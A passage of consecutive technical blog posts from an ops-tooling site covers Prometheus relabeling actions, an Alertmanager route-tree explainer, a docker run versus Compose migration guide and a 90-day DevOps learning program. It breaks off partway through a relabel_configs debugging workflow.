- source_labels: [__address__]
  action: hashmod
  modulus: 3
  target_label: __tmp_shard

Every target gets a deterministic __tmp_shard value of 0, 1, or 2. The MD5 recipe matters: the Relabel Tester reproduces this exact byte-for-byte, so the shard values it shows are the values Prometheus will compute.

keepequal / dropequal

These two take no regex. They compare the joined source value to the current value of target_label and keep or drop on equality.

# Drop the target if its port already equals the discovered one.
- source_labels: [__meta_port]
  action: dropequal
  target_label: port

keepequal keeps only when the two are equal; dropequal drops when they're equal.

lowercase / uppercase

Set target_label to the lower- or upper-cased joined source value — handy for normalizing case-inconsistent discovery labels.

- source_labels: [environment]
  action: lowercase
  target_label: environment

environment="PRODUCTION" becomes environment="production".

_meta labels from service discovery and why they matter

Every service discovery mechanism — Kubernetes, EC2, Consul, file-based — attaches __meta_* labels to each target it finds. These are only available during relabel_configs. They are stripped before the scrape, so if you want any of that metadata to survive as a real label, you have to copy it out with replace or labelmap first.

A Kubernetes pod target arrives looking roughly like this:

__address__="10.0.0.5:8080"
__meta_kubernetes_namespace="default"
__meta_kubernetes_pod_name="api-7d9f"
__meta_kubernetes_pod_label_app="api"
__meta_kubernetes_pod_annotation_prometheus_io_scrape="true"
__meta_kubernetes_pod_annotation_prometheus_io_port="9100"

The __meta_* labels are why relabeling exists at all. They carry the discovery context — which namespace, which annotations, which pod labels — that you turn into scrape decisions (keep on the scrape annotation) and into durable labels (labelmap the pod labels). Anything starting with a double underscore is internal and dropped after relabeling, with __name__ (the metric name) being the notable one that survives into storage. Because these labels only exist at relabel time, the only safe way to confirm a rule reads them correctly is to feed a realistic __meta_* set through your rules and look at the output.

Recipes you will reuse

These are the patterns that show up in almost every real scrape config.

Keep only prod targets

- source_labels: [__meta_kubernetes_namespace]
  action: keep
  regex: "prod|production"

Anchored, so prod matches the namespace prod exactly and staging-prod would not match unless you write .*prod.*. The | alternation keeps both naming conventions.

Drop noisy metrics (metric_relabel_configs)

metric_relabel_configs:
  - source_labels: [__name__]
    action: drop
    regex: "go_gc_.*|process_.*"

Runs after the scrape, dropping high-cardinality families before they hit storage.

hashmod sharding

The two-rule horizontal sharding pattern — hash into a temp label, then keep only the shard this Prometheus owns:

- source_labels: [__address__]
  action: hashmod
  modulus: 3
  target_label: __tmp_shard

- source_labels: [__tmp_shard]
  action: keep
  regex: "0"

Run this against four sample addresses in the tester and you'll see exactly which two or three land on shard 0 and survive — the others are dropped, marked with the rule and action responsible.

Map SD labels with labelmap, then rewrite the address

# Promote every pod label to a plain label.
- action: labelmap
  regex: "__meta_kubernetes_pod_label_(.+)"

# Rebuild __address__ from the IP and an annotated port.
- source_labels: [__address__, __meta_kubernetes_pod_annotation_prometheus_io_port]
  action: replace
  regex: "([^:]+)(?::\\d+)?;(\\d+)"
  replacement: "$1:$2"
  target_label: __address__

The second rule shows the joined-source idiom in action: two source_labels joined by the default ; separator, with a regex written to account for that separator. __address__="10.0.2.4:8080" joined with port 9100 becomes 10.0.2.4:8080;9100, the regex captures 10.0.2.4 and 9100, and the address is rebuilt as 10.0.2.4:9100.

Test before you ship

Relabeling is the one part of a Prometheus config where being almost right produces no error and no warning — just missing or wrong series. The regex anchoring, the empty-replacement deletion, the MD5 hashmod, the join order of multiple source_labels: each is easy to get subtly wrong, and a live Prometheus won't tell you which one bit you.

Paste the recipes from this post, with a realistic set of __meta_* labels, into the Prometheus Relabel Tester and you'll see the joined value, the matched (or unmatched) regex, the per-label diff, and a clear flag — naming the rule and action — whenever a target is dropped. It runs entirely in your browser, so you can safely paste internal scrape configs.

Once the labels are shaped the way you want, the next questions are what you query and how you alert. Break down an expression with the PromQL Explainer, or if you're moving rules between Loki and Prometheus, translate them with the LogQL ↔ PromQL Helper. Get the labels right first — everything downstream depends on them.

Learn DevOps in 90 Days: the free, incident-first path from developer to DevOps engineer

opscanopy — Sun, 09 Aug 2026 05:50:10 +0000

There is a moment every new ops engineer remembers: the first time something real breaks. The tutorial ended weeks ago, the happy path is nowhere in sight, and a pod is stuck in CrashLoopBackOff — or a cron job silently stopped, or the whole site answers 502. Tutorials teach commands. Incidents teach engineers.

That gap is why we built Mission: 90 Days DevOps — a free, guided program that takes you from your first terminal command to job-ready in 90 days, one focused lesson a day, with a story-driven incident mission to fix at the end of every week. All 90 days and all 10 missions are live now. No signup, no email wall, no paywall; your progress saves in your own browser. This post explains what's in it, the order and why, and the design decisions behind it — including the ones with real tradeoffs.

The ordering rule: every layer must let you debug the layer above it

Most DevOps roadmaps fail in one of two ways. Either they hand you a 200-node skill tree with no sequence, or they start with the shiny thing — Kubernetes before Linux, which is how people end up copy-pasting kubectl commands they can't debug.

The program's order comes from one rule: every layer must let you debug the layer above it.

Kubernetes problems are usually container problems.
Container problems are usually Linux problems.
Cloud networking problems are usually DNS-and-ports problems you can learn on localhost.

So the 90 days run Linux first, containers second, cloud third, orchestration fourth, and job preparation last — 45 to 60 minutes a day, roughly 80 hours of core work in total. That is a real commitment, not a "10 minutes a day" promise, but it fits alongside a full-time job, and 90 days is short enough that you can see the finish line from Day 1.

The five phases

Phase 1 — Linux & the terminal (Days 1–21). Three weeks on files, permissions, processes, systemd, logs, DNS and ports, bash, cron and SSH. It feels long when Kubernetes is calling, but nearly every incident ends with someone SSH'd into a box reading logs — this is where that stops being scary. Everything runs locally on WSL2 or any Linux machine. Cost: zero.

Phase 2 — Docker & CI/CD (Days 22–45). Packaging software and shipping it automatically, deliberately paired: images, Dockerfiles, volumes, networks and compose on one side; real Git workflows and GitHub Actions pipelines on the other. The phase ends with Project 1: containerizing linkstash, a FastAPI URL shortener, database included. Still fully local, still zero cost.

Phase 3 — AWS (Days 46–65). IAM and VPC first — because most AWS confusion is "why can't this thing talk to that thing", and the answer is almost always a security group or a subnet route — then S3, RDS, load balancers and monitoring. Project 2 deploys the same linkstash container properly: ECS Fargate behind an ALB with RDS Postgres across two availability zones.

Phase 4 — Kubernetes & Terraform (Days 66–85). Pods, Services, config, probes, ingress and Helm — practiced on local kind clusters first, so mistakes are free — then Terraform, so infrastructure becomes reviewable code instead of console clicks. Project 3 is the capstone: linkstash again, now on k3s on a single EC2 instance, provisioned entirely by Terraform, packaged as a Helm chart, served over real TLS by Traefik and cert-manager.

Phase 5 — Job-Ready (Days 86–90). The part every roadmap skips: turning the work into a hire. A resume rebuilt around the three projects, portfolio and GitHub polish, incident-management fundamentals — severity levels, blameless postmortems, error budgets — and an interview drill. Every day of the program ends with three to five interview questions, so by Day 86 you have already answered more than 300.

One app, carried up the whole stack

The design decision we would defend hardest: the program builds one application three ways, not three throwaway projects.

linkstash is containerized in Phase 2, deployed to AWS in Phase 3, and orchestrated on Kubernetes in Phase 4. In an interview, that turns "I did some tutorials" into "here is one system I have run three ways, and here is why each layer exists." The compare-and-contrast — compose file versus task definition versus Helm chart, depends_on versus target groups versus readiness probes — is precisely the story interviewers ask for.

Incidents are the curriculum, not a bonus

Reading about journalctl and using it at 00:14 during an outage are different skills, and only one of them is a job. So the week caps are not quizzes — they are missions: story-driven incident simulations that run in a terminal in your browser. No setup, no cloud account, no code required.

You start week one with Server Down! — a production web server is down at 2 a.m. and you have to find the runaway process, kill it, and bring nginx back. By the final week you face The Midnight Outage: a SEV-1 where a single security-group change cascades into failed load-balancer health checks, a DNS failover, and pods in the failover region that cannot start because someone deleted the Secret they mount. The fix has to land upstream-first — reopen the network path, restore the Secret, then confirm DNS healed — in that order, because restarting pods was never the problem.

In between: a DNS mystery, a permissions lockout, a crash-looping container stack, a broken CI pipeline, a surprise AWS bill, a dropped production table, a Kubernetes cluster in chaos, and a stale Terraform state lock. Ten missions, each rehearsing the exact diagnostic loop its week taught.

Designed to cost (almost) nothing

A learning path that quietly runs up a cloud bill is a broken learning path. So the budget rules are structural:

Phases 1, 2 and the Kubernetes fundamentals run entirely locally — WSL2, Docker, kind, and local Terraform providers. Zero cloud spend.
Every AWS day opens with a cost box stating exactly what the lab costs and under what conditions it is free, and ends with a mandatory teardown.
The Kubernetes capstone uses k3s on one t3.small (about $19/month if you forget it, effectively free on the free tier with same-day teardown) instead of EKS, whose control plane alone costs about $73/month. Same Kubernetes API, same manifests, same Helm — you just don't pay AWS to hold the API server. The tradeoff, stated honestly: you won't touch EKS-specific glue like IRSA or managed node groups, which is fine to learn on the job.

What a day looks like

Every one of the 90 days has the same shape, so you always know what "done" means:

A short concept — under 600 words, one diagram, one real-world analogy. Read it in five minutes.
A hands-on lab — real commands with real output, reproducible on your machine.
Common errors & fixes — the actual error strings you will hit, why they happen, and how you'd spot them in production.
Interview Q&A — three to five questions with answers worth saying out loud.

Optional "Go Deeper" extras exist for the days you have more time, and are never assumed by the next lesson.

The honest tradeoffs

90 days makes you hireable-junior, not senior. You'll contribute and debug from week one on the job; depth comes with pager time.
It's opinionated. GitHub Actions rather than Jenkins, AWS rather than Azure, k3s rather than EKS. Each slot got the highest-leverage default; your target job may differ.
Self-paced means self-discipline. Progress tracking helps; it doesn't replace showing up daily.
The AWS phase needs a card on file. The teardown discipline keeps spend near zero, but the risk is never exactly zero.

Start today

Everything is live: all 90 days, the ten missions, and the three projects. Start with Day 1 — or, if you want to feel the point of the whole program in ten minutes, play Server Down! first. It needs nothing but a browser tab, and it ends the way every good incident does: with the site back up, and you knowing exactly why.

How Alertmanager Routing Works: Matchers, continue, and the Route Tree

opscanopy — Sun, 02 Aug 2026 13:06:52 +0000

A severity=critical alert fired last night and the on-call team never got paged. The alert was real, the receiver existed, the Slack webhook worked. The problem was three lines higher in the config: a broad catch-all route sat above the team route and quietly swallowed everything that reached it. Nobody touched the receiver — they touched the order.

That is what makes Alertmanager routing easy to get wrong. The receivers are usually fine. The route tree is where the surprises live. Once you have a precise model of how the route tree is walked — how matchers are evaluated, when continue keeps an alert moving, and what each child inherits from its parent — "why did this alert go there?" stops being a guessing game. This post builds that model, and every rule here matches what the Alertmanager Route Tester actually does when it walks a tree against a sample alert.

Routing is a tree, not a list

The most common misread of an Alertmanager config is treating routes: as a flat list of rules that each alert is checked against. It is not a list. It is a tree, and every alert enters at the same place: the root route.

route:
  receiver: 'default-receiver'        # the root — the catch-all
  group_by: ['alertname', 'cluster', 'service']
  group_wait: 30s
  group_interval: 5m
  repeat_interval: 4h
  routes:                              # child routes
    - receiver: 'team-X-mails'
      match:
        team: frontend
    - receiver: 'team-DB-pages'
      match:
        service: database
    - receiver: 'team-Y-mails'
      match:
        team: backend

The root route is special: it is entered for every alert, regardless of its own matchers. It is the catch-all. Its receiver is the default an alert lands on when nothing more specific matches, and its grouping fields are the baseline that everything below inherits. Inside the root sits a routes: list — its children. Each child can have its own routes:, and so on down. An alert descends from the root through whichever children match, and the receiver it ends up on is the one at the node where the descent stops.

So when you read an alertmanager.yml, do not scan the route list looking for the rule that matches. Start at the root and walk down. The Alertmanager route tree is a decision tree you trace top-to-bottom, depth-first.

How a route matches: matchers syntax (and the older match/match_re)

A route node matches an alert when all of its own matchers hold against the alert's labels. Logical AND, no exceptions. A node with no matchers always matches. There are three ways to declare those Alertmanager matchers, and you will see all three in real configs.

routes:
  # Modern matchers: syntax — preferred. One operator per line.
  - receiver: 'staging-slack'
    matchers:
      - env=~"staging-.*"      # =~ regex
      - severity!="info"       # != inequality

  # Older match: exact string equality on each key.
  - receiver: 'team-X-mails'
    match:
      team: frontend

  # Older match_re: each value is a regex.
  - receiver: 'prod-pager'
    match_re:
      env: 'prod-.*'

The modern matchers: form carries its operator inline. There are four: = (equals), != (not equals), =~ (regex match), and !~ (regex no-match). Values may be quoted or bare. The two older forms are sugar over the same engine — match: is a set of = matchers, and match_re: is a set of =~ matchers.

Two details trip people up constantly:

Regexes are fully anchored. Alertmanager wraps every =~, !~, and match_re pattern as ^(?:…)$. So env=~"staging" matches the value staging and nothing else — env=staging-eu does not match. You have to write env=~"staging-.*" to cover the rest of the value. This is the single most frequent cause of "my route matches nothing."
A missing label is the empty string. Alertmanager compares an absent label as "". So foo="" matches an alert that has no foo label at all, and foo!="" requires foo to be present and non-empty. Useful, and occasionally surprising.

Getting those labels onto the alert in the first place is a separate job that happens at scrape time — if the label your matcher checks was never set, walk it back to your scrape config with the Prometheus Relabel Tester before you blame the route tree.

Depth-first matching and continue: first matching sibling wins unless continue is true

Here is the rule that the late-night example broke. Within a matched route, child routes are evaluated in order, top to bottom. The alert descends into the first child whose matchers all hold — and then, by default, the sibling scan stops. Later siblings are never even checked.

# TRAP: the broad rule above shadows the specific one
routes:
  - receiver: catch-all
    matchers: ['severity=~".*"']   # matches everything
  - receiver: db-pager             # NEVER reached
    match: { service: database }

A service=database, severity=critical alert hits catch-all first, that match stops the scan, and db-pager is dead code. The fix is either to order specific-before-broad, or to set continue: true.

continue: true on a matched route tells Alertmanager not to stop the sibling scan after that route matches. Evaluation keeps going to the later siblings, each of which may also match. That is the only way a single alert can land on more than one receiver.

# Mirror every critical alert to an audit receiver,
# THEN keep routing so the owning team is still paged.
routes:
  - receiver: all-critical-audit
    matchers: ['severity="critical"']
    continue: true               # <- do not stop here
  - receiver: team-backend
    match: { team: backend }

For a team=backend, severity=critical alert, the first route matches and would normally stop the scan — but continue: true keeps it alive, the second route also matches, and both receivers fire. Drop the continue and only all-critical-audit fires; the team never hears about it.

The walk is depth-first: when a child matches, the alert descends into that child's subtree and resolves there before any continue carries it to the next sibling. The Alertmanager Route Tester tags each receiver that was reached only because an earlier sibling set continue: true, so you can see at a glance which matches are the primary path and which are fan-out.

Grouping: group_by, group_wait, group_interval, repeat_interval

Routing decides where an alert goes. Grouping decides how its notifications are batched and paced once it gets there. Four fields control it, and they live on route nodes right alongside the matchers.

route:
  receiver: 'default-receiver'
  group_by: ['alertname', 'cluster', 'service']
  group_wait: 30s          # wait this long to collect more alerts for a new group
  group_interval: 5m       # then wait this long before sending updates to that group
  repeat_interval: 4h      # re-send an unresolved group no more often than this

group_by is the list of labels that defines a group. Alerts that share the same values for those labels are bundled into one notification. A common special case is group_by: ['...'], which groups by all labels (every distinct alert is its own group), and the absence of grouping aggregates everything into a single group.
group_wait is how long Alertmanager holds a brand-new group before sending the first notification, so a burst of related alerts arrives as one page instead of twenty.
group_interval is the minimum gap before it sends an updated notification for a group that already fired (e.g. when a new alert joins the group).
repeat_interval is how often it re-notifies about a group that is still firing and unresolved.

These are the difference between one useful page and an alert storm. And critically — they are inherited.

Inheritance: child routes inherit receiver and group_by from the parent

A child route does not have to repeat the receiver and grouping it wants. Anything it does not set is inherited from the nearest ancestor that did. This is per-field: a child can override group_by while still inheriting group_wait, group_interval, repeat_interval, and even receiver.

route:
  receiver: 'default-receiver'
  group_by: ['alertname', 'cluster']
  group_wait: 30s
  repeat_interval: 4h
  routes:
    - receiver: 'team-DB-pages'
      match:
        service: database
      group_by: ['alertname', 'cluster', 'database']
      # group_wait and repeat_interval are INHERITED from the root:
      #   group_wait: 30s, repeat_interval: 4h
      routes:
        - match:
            severity: critical
          # No receiver set here, so it INHERITS 'team-DB-pages'.
          # No group_by set, so it INHERITS [alertname, cluster, database].

The deepest node in that tree sets neither a receiver nor group_by, yet a service=database, severity=critical alert that reaches it pages team-DB-pages and groups by [alertname, cluster, database] — both pulled down the chain. This is why the leaf you are staring at may not tell the whole story: the effective receiver and grouping are assembled by walking up from the matched node to the first ancestor that set each field. When you debug a misrouted or mis-grouped alert, resolve the inheritance, not just the leaf.

Reading a real route tree: where a given alert lands

Put it together. Here is a complete tree with three children at the top level and a nested subtree under one of them.

route:
  receiver: 'default-receiver'
  group_by: ['alertname']
  group_wait: 30s
  repeat_interval: 4h
  routes:
    - receiver: 'all-critical-audit'
      matchers:
        - severity="critical"
      continue: true                 # mirror, then keep going
    - receiver: 'web-team'
      match:
        service: web
      group_by: ['alertname', 'instance']
      routes:
        - receiver: 'web-team-pager'
          matchers:
            - severity="critical"
        - receiver: 'web-team-slack'
          matchers:
            - severity=~"warning|info"
    - receiver: 'team-Y-mails'
      match:
        team: backend

Now trace an alert with these labels:

alertname=Latency
service=web
severity=critical
instance=web-3

Walking the tree, depth-first, in order:

Root is entered (always). It does not stop here; it has children to evaluate.
First child, all-critical-audit: severity="critical" holds. It matches → all-critical-audit fires. It has continue: true, so the scan does not stop.
Second child, web-team: service: web holds. The alert descends into its subtree.
- First grandchild, web-team-pager: severity="critical" holds → web-team-pager fires. No continue, so this branch stops here. Effective group_by is [alertname, instance], inherited from web-team.
The web-team match (a non-continue match) stops the top-level scan, so team-Y-mails is never evaluated.

Final result: the alert reaches two receivers — all-critical-audit (via continue) and web-team-pager (the primary path). Flip severity to warning and the picture changes: all-critical-audit drops out, and inside web-team the alert falls to web-team-slack instead. Remove service=web and it never enters that subtree at all, falling through to team-Y-mails if team=backend, or to the root's default-receiver if nothing matches.

If your alert rules themselves aren't firing the way you expect — wrong labels, wrong severity, wrong timing — that is upstream of routing entirely; prove the rule first with AlertLint, then trace where its output lands here.

Test your tree

You can do this walk by hand, and for a three-node tree it is worth doing once to internalize the model. But real trees nest five levels deep, mix match, match_re, and matchers, and sprinkle continue across siblings — and the cost of getting it wrong is a SEV-1 that pages nobody, or a routine warning that wakes the whole team.

So make it cheap to check. Paste your route tree and a sample alert's labels into the Alertmanager Route Tester and it does exactly the walk above — entirely in your browser, nothing uploaded. It reports every receiver the alert reaches in evaluation order, the route-path breadcrumb from root to each matched node, a tag on any receiver reached only via continue: true, and the effective group_by after inheritance. It reproduces the semantics this post describes: anchored regexes, missing-label-as-empty-string, first-match-then-continue, and per-field inheritance.

The next time an alert lands somewhere unexpected, you do not have to fire a real one and watch. Paste the tree, paste the labels, and read off the path it actually took.

docker run vs Docker Compose: A Practical Migration Guide

opscanopy — Sun, 02 Aug 2026 13:06:17 +0000

You started a Postgres container three weeks ago with a docker run one-liner. It works. Then you reboot the box, or a teammate needs the same setup, or you want the command in version control — and you realize the only copy of that command is in your shell history, somewhere between an ls and a kubectl get pods. This is the moment the docker run vs docker compose question stops being academic. The container is fine; the way you launched it is not reproducible.

This guide walks through both directions: when docker run is the right call, when to move to a docker-compose.yml, and how to convert a Compose service back to a single run line when you need one. Every flag mapping here matches what the Docker Run to Compose converter actually does, so you can check your own commands against it.

The same container, two ways

Here is a real Postgres container expressed as a docker run command:

docker run -d --name db \
  -e POSTGRES_PASSWORD=secret -e POSTGRES_DB=app \
  -p 5432:5432 \
  -v pgdata:/var/lib/postgresql/data \
  --restart unless-stopped \
  postgres:16

And here is the exact same container as a Compose service:

services:
  db:
    image: postgres:16
    container_name: db
    ports:
      - "5432:5432"
    volumes:
      - pgdata:/var/lib/postgresql/data
    environment:
      - POSTGRES_PASSWORD=secret
      - POSTGRES_DB=app
    restart: unless-stopped

Same image, same ports, same named volume, same restart policy. The difference is not what runs — it is whether the definition lives in your shell history or in a file you can commit, review, and run again with one command. Note the quotes around "5432:5432": YAML would otherwise read a bare 5432:5432 as a sexagesimal (base-60) number, which is one of the small bugs hand-conversion loves to introduce.

What docker run is good at

docker run wins for anything throwaway. You want a one-shot psql client, a quick Redis to poke at, a base image to drop into for debugging — you do not want to author a YAML file for that.

# poke at a fresh redis for thirty seconds
docker run --rm -it redis:7-alpine redis-cli

# debug inside an image without leaving anything behind
docker run --rm -it -v "$PWD":/work -w /work ubuntu:24.04 bash

The --rm flag matters here: the container deletes itself on exit, so you do not accumulate dead containers from experiments. That is a genuinely docker run-shaped concern — and notably, --rm has no Compose equivalent at all, because Compose manages container lifecycle for you. If you paste a command with --rm into a converter, the honest thing to do is drop it with a warning rather than pretend it maps to something. That is exactly what the converter does.

The same goes for -d / --detach. Detached mode is a property of how you launched the process, not of the service definition, so it does not belong in the YAML either. We will come back to that in the pitfalls section, because it trips people up in both directions.

What Compose buys you: when to use Docker Compose

Reach for Compose the moment any of these is true — and "when to use Docker Compose" usually comes down to this list:

You will run this container more than once and want it reproducible.
You want the definition in version control and reviewed in a PR.
You have more than one container that needs to come up together.
You are tired of remembering a 200-character command.

A Compose file turns a wall of flags into a reviewable document and a single lifecycle:

docker compose up -d     # start everything, detached
docker compose down      # stop and remove everything
docker compose logs -f   # tail every service

Multi-service is where the gap really opens. Two docker run commands that need to talk to each other force you to hand-manage a network, start them in the right order, and remember both lines. Compose makes the relationship declarative:

services:
  api:
    image: myorg/api:1.4.0
    ports:
      - "3000:3000"
    environment:
      - DATABASE_URL=postgres://db:5432/app
    depends_on:
      - db
  db:
    image: postgres:16
    environment:
      - POSTGRES_DB=app

The api service reaches the database at the hostname db with zero extra wiring. That is the implicit default network doing its job — more on that below. And because the whole thing is a file, you can lint the CI that builds and ships it; if your pipeline runs docker compose up in a job, the GitLab CI Validator will catch a malformed .gitlab-ci.yml before the runner does.

Going the other way: Compose to docker run

Migration is not a one-way street. You will hit cases where you have a Compose service but need a single docker run line:

A teammate on a box without your Compose file, who just needs the container up now.
A support ticket or runbook where one copy-paste command beats "clone the repo, then run compose."
A constrained CI step or remote host where pulling the whole project is overkill.

Converting a compose service to docker run is mechanical but fiddly to do by hand. Take the Redis service with a healthcheck:

services:
  cache:
    image: redis:7-alpine
    container_name: cache
    ports:
      - "6379:6379"
    mem_limit: 256m
    labels:
      - app=web
    healthcheck:
      test: "CMD-SHELL redis-cli ping"
      interval: 10s
      timeout: 3s
      retries: 5

The equivalent command rebuilds every field — and crucially, it is emitted detached by default, because a long-lived service is almost never something you want hogging your terminal:

docker run -d --name cache -p 6379:6379 -m 256m \
  -l app=web \
  --health-cmd 'redis-cli ping' \
  --health-interval 10s --health-timeout 3s --health-retries 5 \
  redis:7-alpine

The healthcheck block expands back into the discrete --health-* flags; mem_limit becomes -m; labels become -l. The converter prepends docker run -d for you precisely because the service was meant to run in the background. The one thing to watch: Compose-only keys like depends_on, build, and deploy have no command equivalent, so a faithful converter reports them as warnings rather than inventing flags that do not exist. If your service has build:, you run docker build first and feed the resulting tag to docker run.

Migrating a real command step by step

Let's take a non-trivial docker run line and walk the migration end to end. Here is an app container on a user-defined network with adjusted capabilities:

docker run -d --name api \
  --network backend \
  -p 3000:3000 \
  -e NODE_ENV=production \
  --cap-add NET_ADMIN --cap-drop ALL \
  --add-host db:10.0.0.5 \
  myorg/api:1.4.0

Step 1 — tokenise, don't eyeball. The command is split shell-style: quotes and backslash-newline continuations are honored, and bundled short flags like -it are expanded into -i -t. The first non-flag token (myorg/api:1.4.0) is the image; anything after it would be the container command.

Step 2 — classify each flag onto a key. Ports go to ports, -e to environment, --cap-add/--cap-drop to cap_add/cap_drop, --add-host to extra_hosts, and --network backend to the networks list.

Step 3 — read the result.

services:
  api:
    image: myorg/api:1.4.0
    container_name: api
    ports:
      - "3000:3000"
    environment:
      - NODE_ENV=production
    networks:
      - backend
    extra_hosts:
      - db:10.0.0.5
    cap_add:
      - NET_ADMIN
    cap_drop:
      - ALL

One thing the converter deliberately does not do: invent a top-level networks: section you did not ask for. The backend network shows up under the service, exactly as named. If backend is a network you created with docker network create, you will need to declare it as external at the top level yourself — the tool won't guess at infrastructure you didn't write down. That restraint is the point; a converter that hallucinates structure is worse than one that converts only what you gave it.

Pitfalls when migrating

The flags themselves map cleanly. The behavior around them is where migrations quietly go wrong.

The implicit default network

A bare docker run with no --network attaches the container to the default bridge network, where containers reach each other only by IP. Compose is different: it creates a project-scoped network and puts every service on it, so services resolve each other by service name (db, api) out of the box. That is usually what you want — but it means a docker run that talked to 172.17.0.3 needs to start talking to db once it is a Compose service. Migrating the flag is easy; migrating the assumption that "there's one flat bridge" is the part that bites.

Restart policy differences

--restart maps straight across — no, always, on-failure, and unless-stopped all carry over to restart: unchanged:

restart: unless-stopped

The subtlety: with docker run, the restart policy is the only thing keeping your container alive across a daemon restart. With Compose, the same restart: value applies, but you also get docker compose up/down as an explicit lifecycle. Don't assume restart: always means "Compose will bring this back after I run down" — down removes the container regardless. The restart policy governs crashes and reboots, not your own teardown commands.

env_file vs -e

Inline -e KEY=value flags become an environment: list, and --env-file path becomes env_file:. They are not interchangeable:

services:
  api:
    image: myorg/api:1.4.0
    env_file:
      - .env.production
    environment:
      - NODE_ENV=production    # wins over the same key in env_file

Inline values are visible in the file and in docker inspect; an env_file keeps secret-bearing values out of the YAML and out of your shell history. When you migrate, this is a good moment to move secrets from -e flags into an env_file. While you're there, make sure the committed .env.example actually matches the keys your service reads — the Env Example Checker diffs a real .env against its example so a missing key doesn't surface as a crash on a fresh checkout.

Detached mode

-d / --detach does not exist in a Compose file, because detaching is a launch-time choice, not a property of the service. Going docker run → compose, the -d is dropped (you run docker compose up -d instead). Going compose → docker run, a faithful converter adds -d back, because a service definition almost always describes a long-running process. Both behaviors are correct; they just look asymmetric until you see why. If you find a stray -d "missing" from generated YAML, that is the tool being right, not losing your flag.

Convert both directions instantly

Doing this by hand is fine for one container. It stops being fine when you are translating a wall of -p, -v, and -e flags under time pressure and a mis-nested list or an unquoted port slips through.

The Docker Run to Compose converter does the mechanical part both ways: paste a docker run command to get the equivalent docker-compose.yml service, or paste a Compose service to rebuild the run line — including ports, volumes, environment, networks, capabilities, resource limits, and healthchecks. It tells you about the flags and keys that genuinely don't map instead of dropping them silently, and it runs entirely in your browser, so commands that name private registries or carry secret-bearing environment variables never leave the tab.

Migrate the command, read the warnings, commit the file.

Why Did Prometheus Drop My Target? Debugging relabel_configs

opscanopy — Mon, 27 Jul 2026 17:28:51 +0000

You added a new exporter, reloaded Prometheus, opened /targets, and it isn't there. No error in the logs. The scrape config parsed fine. The exporter is up and you can curl its /metrics by hand. But Prometheus dropped your target and won't tell you why. Or worse — the target shows up, but a label you depend on for routing or dashboards has silently disappeared. Both symptoms almost always trace back to one place: relabel_configs. This post walks through how to debug relabel_configs, where it differs from metric_relabel_configs, and the handful of mistakes that account for nearly every dropped target.

The symptom: a missing target in /targets, or a label that vanished

There are two distinct failures and it helps to name them before you start digging.

The first is the dropped target: it never appears under /targets at all, not even in a "down" state. Service discovery found it, but a keep or drop rule removed it before the scrape ran. Prometheus does not log this — from its point of view, nothing went wrong.

The second is the disappearing label: the target scrapes fine, but a label you expected is gone, or got overwritten with something unexpected. You see this in /targets (hover the labels) or by querying the series and noticing the dimension you wanted to group by isn't there.

# The target you expect is simply absent from the list:
curl -s localhost:9090/api/v1/targets | jq '.data.activeTargets[].labels.job'
# "node-exporter"
# "blackbox"
#   ← your "api" job never shows up

When a target is silently absent, the cause is upstream of the scrape. That's relabeling. The good news: relabeling is deterministic. Given the same input labels and the same rules, you get the same outcome every time, which means you can reproduce it offline.

relabel_configs vs metric_relabel_configs: where each one runs

The two config blocks apply the exact same relabeling actions and semantics. The only difference is where in the scrape lifecycle they run — and that difference decides which symptom you're debugging.

relabel_configs runs at scrape time, before the scrape, on the target labels coming from service discovery. These are the labels that decide whether a target gets scraped at all and what its identity (job, instance, __address__) is. A keep/drop here removes a whole target. This is the block to inspect when a target is missing from /targets.

metric_relabel_configs runs after the scrape, on every sample's label set as it's ingested. A keep/drop here removes individual time series, not the target. This is the block to inspect when the target is present but specific series or labels are missing.

scrape_configs:
  - job_name: api
    kubernetes_sd_configs:
      - role: pod

    # Runs BEFORE the scrape, on discovery labels (__meta_*, __address__).
    # A keep/drop here removes the whole target.
    relabel_configs:
      - source_labels: [__meta_kubernetes_pod_annotation_prometheus_io_scrape]
        action: keep
        regex: "true"

    # Runs AFTER the scrape, on each sample. A drop here removes series,
    # not the target.
    metric_relabel_configs:
      - source_labels: [__name__]
        action: drop
        regex: go_gc_.*

If your target is missing, you never reach metric_relabel_configs — debug relabel_configs first. If the target is present but a series is gone, it's the other block. Getting this distinction right is half the battle when you're searching "metric_relabel_configs vs relabel_configs" at 2 a.m.

The usual suspects

Almost every dropped target comes from one of these. Each is easy to make and invisible until you reproduce it.

A keep regex that does not match (because the regex is anchored)

This is the number-one cause. Prometheus anchors every relabel regex — internally it wraps your pattern as ^(?:<your regex>)$. The pattern must match the entire joined source value, not a substring.

- source_labels: [job]
  action: keep
  regex: api          # anchored to ^(?:api)$

This keeps a target whose job is exactly api. It does not keep api-server, api-prod, or payments-api. With a keep action, anything that fails to match is dropped — so your api-server target silently vanishes. The fix is to match what you actually mean:

- source_labels: [job]
  action: keep
  regex: api.*        # ^(?:api.*)$ — matches api, api-server, api-prod

A drop that is too broad

The mirror image. An unanchored mental model plus a greedy regex catches more than intended:

- source_labels: [__name__]
  action: drop
  regex: .*_bucket   # drops EVERY *_bucket series, including ones you need

keep is an allow-list gate; drop is a deny-list gate. A too-broad drop in metric_relabel_configs quietly deletes series you wanted to keep, and you only notice when a dashboard goes blank.

Wrong source_labels, or the wrong join

When a rule lists multiple source_labels, Prometheus joins their values with the separator — which defaults to a single semicolon ; — before matching the regex. If you forget the separator, your regex never matches the joined string:

# job="api", instance="10.0.0.1:9090" joins to "api;10.0.0.1:9090"
- source_labels: [job, instance]
  action: keep
  regex: api          # ✗ never matches "api;10.0.0.1:9090"

You need a regex that accounts for the ;, e.g. api;.*. A missing source label isn't an error either — Prometheus treats an absent label as the empty string when joining, so source_labels: [does_not_exist] joins to "" and a keep: regex: ".+" drops everything.

A replacement that overwrote address (or deleted a label)

replace has a subtle, real behavior: if the regex doesn't match, the label is left unchanged; but if it matches and the expanded replacement is the empty string, the target label is deleted, not set to blank. Overwrite __address__ with an empty value and the target effectively loses its scrape address.

# If prometheus_io_port is absent, the joined value won't match this regex,
# so __address__ is left alone. But a regex that DOES match and expands to ""
# would DELETE __address__ entirely.
- source_labels: [__address__, __meta_kubernetes_pod_annotation_prometheus_io_port]
  action: replace
  regex: ([^:]+)(?::\d+)?;(\d+)
  replacement: $1:$2
  target_label: __address__

This is the most insidious one, because an empty instance or __address__ doesn't throw — it just produces a target that can't be scraped or that collides with another.

A debugging workflow

When a target is missing, work top-down. The whole point is to recover the exact input the rules saw, then replay the rules against it.

1. Dump the target labels, including _meta

